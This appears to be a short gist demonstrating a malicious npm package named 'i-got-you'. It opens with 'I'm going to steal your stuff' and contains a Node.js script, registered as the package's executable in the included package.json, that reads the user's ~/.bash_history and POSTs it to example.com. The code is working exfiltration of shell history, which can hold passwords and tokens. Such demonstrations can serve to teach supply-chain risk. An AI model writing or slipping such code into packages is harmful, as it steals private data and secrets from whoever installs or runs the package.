Hi!
I'm going to steal your stuff
#! /usr/bin/env node | |
const fs = require('fs'); | |
const http = require('http'); | |
const home = process.env.HOME; | |
const options = { | |
host: 'example.com', | |
path: '/', | |
port: 80, | |
method: 'POST' | |
}; | |
const req = http.request(options, function(response) { | |
console.log(response); | |
}); | |
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) { | |
req.write(data); | |
req.end(); | |
}); |
{ | |
"name": "i-got-you", | |
"version": "0.0.0", | |
"bin": "./index.js" | |
} |